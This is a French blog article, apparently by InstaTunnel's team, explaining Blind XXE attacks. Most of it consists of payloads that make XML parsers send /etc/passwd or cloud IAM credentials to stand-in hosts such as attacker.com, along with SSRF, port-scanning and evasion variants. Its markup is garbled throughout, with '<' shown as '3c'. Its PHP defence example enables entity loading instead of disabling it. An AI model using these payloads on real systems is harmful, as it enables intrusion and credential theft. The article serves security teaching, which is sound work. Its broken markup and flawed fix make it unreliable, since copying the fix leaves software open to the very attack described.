Security
8 min read
2239 views

Blind XXE : Exfiltration de données hors bande 👁️

IT
InstaTunnel Team
Published by our engineering team
Blind XXE : Exfiltration de données hors bande 👁️

Introduction aux vulnérabilités Blind XXE

Les attaques XML External Entity (XXE) représentent l’une des vulnérabilités les plus critiques des applications web, figurant systématiquement dans le Top 10 de l’OWASP. Alors que les attaques XXE classiques permettent aux attaquants de récupérer directement des données sensibles via les réponses XML, les vulnérabilités Blind XXE présentent un scénario plus complexe où les applications ne renvoient pas les valeurs des entités externes dans leurs réponses. Malgré cette limitation, des attaquants expérimentés peuvent toujours exfiltrer des fichiers sensibles et des données du réseau interne en utilisant des techniques sophistiquées hors bande (OOB).

Les vulnérabilités Blind XXE surviennent lorsque les applications sont vulnérables à l’injection XXE mais ne renvoient pas les valeurs des entités externes dans leurs réponses, rendant la récupération directe de fichiers côté serveur impossible et généralement plus difficile à exploiter que les vulnérabilités XXE classiques.

Comprendre les fondamentaux du XXE

Avant d’aborder les techniques d’exploitation en mode aveugle, il est essentiel de comprendre les Entités Externes XML. Les fichiers XML peuvent contenir des Définitions de Types de Document (DTDs) permettant de définir et d’utiliser des entités XML, y compris des entités externes via des URI que le parseur XML traite et insère dans un document XML.

Qu’est-ce qui rend le XXE dangereux ?

Les attaques XXE peuvent impacter à la fois l’application vulnérable et les systèmes connectés, permettant potentiellement aux attaquants de récupérer des données sensibles comme des mots de passe, de réaliser des traversées de répertoires, d’exécuter des attaques de déni de service, ou d’utiliser l’accès pour pénétrer d’autres répertoires réseau et effectuer des attaques de falsification de requêtes côté serveur.

Pourquoi le Blind XXE se produit

Les scénarios de Blind XXE apparaissent dans plusieurs situations courantes :

  1. Applications non réfléchies : L’application traite XML mais n’affiche pas le contenu analysé dans ses réponses
  2. Suppression d’erreurs : Les erreurs de parsing XML sont capturées et gérées silencieusement
  3. Traitement asynchrone : Les données XML sont traitées en arrière-plan sans retour immédiat
  4. Points d’API : API RESTful acceptant du XML mais renvoyant du JSON ou des codes de statut génériques

Techniques de détection du Blind XXE

Détection d’interactions hors bande

Vous pouvez détecter un Blind XXE en utilisant les mêmes techniques que pour les attaques XXE SSRF en déclenchant des interactions réseau hors bande vers un système que vous contrôlez.

La payload de détection de base ressemble à ceci :

3c!DOCTYPE foo [ 
  3c!ENTITY xxe SYSTEM "http://attacker-controlled-server.com/detect"3e 
]3e
3cstockCheck3e
  3cproductId3e6xxe;3c/productId3e
3c/stockCheck3e

Si l’application est vulnérable, le serveur effectuera une requête HTTP vers votre URL, et vous pourrez surveiller les recherches DNS et les requêtes HTTP pour confirmer la réussite de l’attaque.

Utilisation des entités de paramètres pour la détection

Les entités XML de paramètres sont un type particulier d’entité XML qui ne peuvent être utilisées qu’au sein du DTD, déclarées et appelées en préfixant avec un signe pourcentage :

3c!DOCTYPE foo [ 
  3c!ENTITY % xxe SYSTEM "http://attacker.com/detect.dtd"3e 
  %xxe;
]3e

Techniques avancées d’exploitation Blind XXE

Méthode 1 : Exfiltration de données hors bande

La technique la plus puissante de Blind XXE consiste à héberger un DTD malveillant sur un serveur contrôlé par l’attaquant et à utiliser des entités de paramètres pour exfiltrer des données.

Processus étape par étape d’exfiltration

1. Créer un DTD externe malveillant

Un DTD malveillant pour exfiltrer le contenu du fichier /etc/passwd définit une entité XML paramètre appelée “file” contenant le contenu du fichier, et une entité “eval” avec une déclaration dynamique d’une entité “exfiltrate” qui fait une requête au serveur de l’attaquant avec le contenu du fichier dans l’URL :

3c!-- Hébergé sur http://attacker.com/evil.dtd --3e
3c!ENTITY % file SYSTEM "file:///etc/passwd"3e
3c!ENTITY % eval "3c!ENTITY 6#x25; exfiltrate SYSTEM 'http://attacker.com/?data=%file;'3e"3e
%eval;
%exfiltrate;

2. Déclencher l’exploit

Envoyez cette payload à l’application vulnérable :

3c?xml version="1.0" encoding="UTF-8"?3e
3c!DOCTYPE foo [
  3c!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"3e
  %xxe;
]3e
3cstockCheck3e
  3cproductId3e1233c/productId3e
3c/stockCheck3e

3. Flux d’exécution

Le parseur XML traite d’abord la entité %file en chargeant /etc/passwd, puis l’entité %eval crée une entité générale contenant une URL avec le contenu du fichier, et enfin le parseur envoie une requête au serveur de l’attaquant avec les données du fichier.

Gestion des caractères spéciaux et fichiers volumineux

Pour des fichiers plus volumineux comme /etc/passwd avec des caractères spéciaux pouvant casser les requêtes HTTP, la solution la plus simple est d’encoder en base64 la payload :

3c!-- evil.dtd avec encodage base64 --3e
3c!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"3e
3c!ENTITY % eval "3c!ENTITY 6#x25; exfiltrate SYSTEM 'http://attacker.com/?data=%file;'3e"3e
%eval;
%exfiltrate;

Méthode 2 : Exploitation Blind XXE basée sur les erreurs

Lorsque des connexions hors bande sont possibles, les attaquants peuvent déclencher des erreurs de parsing pour générer des messages d’erreur contenant des données sensibles, ce qui est efficace pour les applications qui renvoient ces messages dans leurs réponses.

Technique d’exploitation basée sur les erreurs

3c!-- evil.dtd hébergé sur le serveur de l'attaquant --3e
3c!ENTITY % file SYSTEM "file:///etc/passwd"3e
3c!ENTITY % eval "3c!ENTITY 6#x26; error SYSTEM 'file:///nonexistent/%file;'3e"3e
%eval;
%error;

Lorsque le parseur tente de charger le fichier inexistant avec le mot de passe dans son chemin, il génère un message d’erreur révélant le contenu du fichier.

Méthode 3 : Exploitation de fichiers DTD locaux

Lorsque les interactions hors bande sont bloquées, il peut encore être possible de déclencher des messages d’erreur contenant des données sensibles en exploitant une faille dans la spécification XML où les DTD internes peuvent redéfinir des entités déclarées dans des DTD externes.

Technique du DTD local

Cette technique consiste à invoquer un fichier DTD existant sur le système de fichiers local et à le réutiliser pour redéfinir une entité existante afin de déclencher une erreur de parsing contenant des données sensibles.

Emplacements courants de DTD locaux :

  • Linux/GNOME : /usr/share/yelp/dtd/docbookx.dtd
  • Windows : C:\Windows\System32\wbem\xml\cim20.dtd
  • Applications Java : Divers fichiers JAR contenant des DTD

Payload d’exploitation :

3c!DOCTYPE foo [
  3c!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"3e
  3c!ENTITY % ISOamso '
    3c!ENTITY 6#x25; file SYSTEM "file:///etc/passwd"3e
    3c!ENTITY 6#x25; eval "3c!ENTITY 6#x26;#x25; error SYSTEM 6#x27;file:///nonexistent/6#x25;file;6#x27;3e"3e
    6#x25;eval;
    6#x25;error;
  '3e
  %local_dtd;
]3e

Protocoles pour une exploitation avancée

Protocole FTP pour l’exfiltration de données

Utiliser le protocole FTP avec des outils comme xxe-ftp-server permet d’écouter sur des ports personnalisés et d’intercepter les requêtes, révélant des informations internes comme les versions Java et adresses IP internes :

3c!DOCTYPE foo [
  3c!ENTITY % dtd SYSTEM "ftp://attacker.com:2121/evil.dtd"3e
  %dtd;
]3e

HTTP et HTTPS pour SSRF

Les attaquants peuvent utiliser XXE pour effectuer une falsification de requête côté serveur en définissant une entité externe avec l’URL cible, permettant d’interagir avec des systèmes backend :

3c!DOCTYPE foo [
  3c!ENTITY xxe SYSTEM "http://internal-network.local/admin"3e
]3e
3cdata3e6xxe;3c/data3e

Variantes du protocole fichier

Différents formats de protocole fichier à essayer : - file:///etc/passwd - file://localhost/etc/passwd - file:///c:/windows/win.ini (Windows)

Scénarios d’attaque réels

Reconnaissance du réseau interne

Blind XXE peut être utilisé pour scanner des ports internes et découvrir des services :

3c!DOCTYPE foo [
  3c!ENTITY % xxe SYSTEM "http://192.168.1.1:8080"3e
  %xxe;
]3e

Surveillez les différences de timing ou les requêtes hors bande pour déterminer les ports ouverts et les services en cours d’exécution.

Exploitation des métadonnées cloud

Dans les environnements cloud, Blind XXE peut accéder aux métadonnées d’instance :

3c!DOCTYPE foo [
  3c!ENTITY % cloud SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"3e
  3c!ENTITY % eval "3c!ENTITY 6#x25; exfil SYSTEM 'http://attacker.com/?data=%cloud;'3e"3e
  %eval;
  %exfil;
]3e

Fichiers de configuration de base de données

Cibler des fichiers de configuration sensibles : - /etc/mysql/my.cnf - /var/www/html/config.php - C:\inetpub\wwwroot\web.config

Vulnérabilités récentes et études de cas

En 2024, une vulnérabilité d’injection Blind XXE dans le logiciel Palo Alto Networks PAN-OS (CVE-2024-5919) a permis à des attaquants authentifiés d’exfiltrer des fichiers arbitraires depuis des pare-feux vers des serveurs contrôlés par l’attaquant.

Cette vulnérabilité a mis en évidence plusieurs points clés : - Même les logiciels d’entreprise modernes restent vulnérables au XXE - Blind XXE peut contourner la surveillance de sécurité traditionnelle - L’authentification ne prévient pas nécessairement l’exploitation XXE

Outils et automatisation

Collaborateur Burp Suite

Burp Collaborator offre une méthode simple pour détecter le Blind XXE en générant des sous-domaines uniques et en surveillant les recherches DNS et les interactions HTTP.

Scripts de détection personnalisés

Configurer un serveur HTTP simple pour la détection hors bande :

# Serveur HTTP Python avec journalisation
python3 -m http.server 8080 --bind 0.0.0.0

Surveillez les logs d’accès pour les requêtes entrantes des applications vulnérables.

Outils d’exploitation automatisée

  • XXExploiter : Outil GitHub pour l’exploitation automatisée XXE
  • XXEinjector : Framework d’exploitation XXE basé sur Ruby
  • OXML_XXE : Outil spécifiquement pour l’exploitation de fichiers Office Open XML

Stratégies de défense et de prévention

Désactiver le traitement DTD

La prévention la plus efficace consiste à désactiver complètement le traitement DTD dans les parseurs XML, avec des méthodes spécifiques selon l’implémentation.

Exemple Java :

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Exemple PHP :

libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_DTDATTR);

Exemple .NET :

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);

Règles de pare-feu pour applications web

La plupart des solutions WAF disposent de règles intégrées pour bloquer les entrées XXE évidentes en surveillant et filtrant les requêtes HTTP entrantes correspondant à des modèles d’attaque connus.

Configurer les règles WAF pour détecter : - Déclarations 3c!DOCTYPE - Définitions 3c!ENTITY - Références DTD externes - Mots-clés SYSTEM suspects dans XML

Validation et assainissement des entrées

Bien que cela ne soit pas infaillible, mettre en œuvre une défense en profondeur : - Valider strictement le schéma XML - Autoriser en liste blanche les éléments et attributs XML - Rejeter les documents XML contenant des déclarations DOCTYPE - Imposer des limites de taille sur les entrées XML

Surveillance et détection de sécurité

Mettre en place une surveillance pour : - Les connexions sortantes inhabituelles depuis les serveurs d’applications - Les requêtes DNS vers des domaines externes suspects - Les tentatives d’accès à des fichiers système sensibles - Les modèles d’erreur indiquant des tentatives d’exploitation XXE

Méthodologie de test

Workflow de test manuel

  1. Identifier les points d’entrée XML : Rechercher les endpoints acceptant des données XML
  2. Tester XXE de base : Essayer des déclarations d’entités simples
  3. Tester les entités de paramètres : Utiliser des entités basées sur DTD
  4. Configurer un canal hors bande : Configurer Burp Collaborator ou un serveur personnalisé
  5. Tenter l’exfiltration de données : Utiliser des payloads DTD multi-étapes
  6. Tester les techniques basées sur les erreurs : Déclencher des erreurs de parsing
  7. Énumérer les DTD locaux : Forcer des chemins DTD courants

Considérations pour la détection automatisée

Les scanners modernes détectent XXE via : - Fuzzing de payloads avec déclarations d’entités - Vérification de rappels hors bande - Détection aveugle basée sur le timing - Analyse des messages d’erreur

Techniques avancées d’évasion

Encodage UTF-7

3c!DOCTYPE foo [
  3c!ENTITY xxe SYSTEM "file:///+AD0AZQ-tc/passwd"3e
]3e

Chaînes d’entités de paramètres XML

Créer des chaînes de référence d’entités complexes pour contourner les filtres basiques :

3c!DOCTYPE foo [
  3c!ENTITY % a "3c!ENTITY 6#x25; b SYSTEM 'http://attacker.com/b.dtd'3e"3e
  %a;
  %b;
]3e

Contrebande de protocole

Utiliser des protocoles moins connus qui peuvent contourner les filtres : - php://filter/convert.base64-encode/resource= - expect://id - data://text/plain;base64,

Conclusion

Les vulnérabilités Blind XXE représentent un vecteur d’attaque sophistiqué qui souligne l’importance d’une configuration sécurisée du traitement XML. Même sans retour immédiat, les attaquants peuvent manipuler l’entrée XML pour extraire des données sensibles en l’envoyant vers des emplacements externes via des DTD externes et des canaux hors bande.

Les organisations doivent prioriser la désactivation du traitement des entités externes dans tous les parseurs XML, mettre en œuvre une surveillance de sécurité complète, et réaliser des évaluations régulières pour détecter d’éventuelles vulnérabilités Blind XXE. Comme le montrent les CVEs récents et les exploits réels, même les applications d’entreprise modernes restent vulnérables à ces attaques.

La leçon clé est que la visibilité sur les réponses du traitement XML n’est pas nécessaire pour une exploitation réussie — avec créativité, patience et outils appropriés, les attaquants peuvent exploiter les vulnérabilités Blind XXE pour extraire des données sensibles et compromettre des systèmes internes.

Références et lectures complémentaires

  • Guide de prévention XXE de l’OWASP
  • PortSwigger Web Security Academy - Blind XXE
  • Guide complet HackerOne XXE
  • CVE-2024-5919 : Vulnérabilité Blind XXE de PAN-OS
  • Traitement des Entités Externes XML (OWASP Foundation)

À propos de cet article : Ce guide complet couvre des techniques avancées d’exploitation Blind XXE pour les professionnels de la sécurité, testeurs d’intrusion, et équipes de sécurité applicative. Obtenez toujours une autorisation appropriée avant de tester des vulnérabilités sur des systèmes qui ne vous appartiennent pas.

Continue from this article into the most relevant product guides and workflows.

Related Topics

#blind XXE, OOB XXE, out-of-band XXE, XML External Entity, XXE 2025, blind XML external entity, XXE exfiltration, XXE out-of-band, Burp Collaborator XXE, parameter entity XXE, evil.dtd payload, file:// XXE, php://filter XXE, DNS-based XXE, HTTP-based XXE, ftp XXE, XXE payloads, blind XXE techniques, blind XXE detection, blind XXE mitigation, disable DTD, disable external entities, XXE prevention, XXE CVE 2024-5919, PAN-OS XXE, CVE blind XXE, blind XXE labs, PortSwigger blind XXE, automated OOB detection, SSRF via XXE, XML parser hardening, Java XXE mitigation, .NET XXE prevention, PHP XXE hardening, XML validation whitelist, Burp Collaborator detection, out-of-band server monitoring, base64 XXE exfiltration, php filter base64 XXE, local DTD exploitation, error-based blind XXE, FTP protocol XXE, cloud metadata XXE, 169.254.169.254 XXE, blind XXE reconnaissance, blind XXE testing methodology, blind XXE tools, XXExploiter, XXEinjector, XXE best practices, secure XML parsing, parameter entity chains, XML DTD attacks, XML parser configuration, XML security, OOB data exfiltration, blind XXE pentesting, blind XXE remediation, blind XXE training labs, blind XXE examples, blind XXE proof-of-concept, blind XXE research 2025

Keep building with InstaTunnel

Read the docs for implementation details or compare plans before you ship.

Share this article

More InstaTunnel Insights

Discover more tutorials, tips, and updates to help you build better with localhost tunneling.

Browse All Articles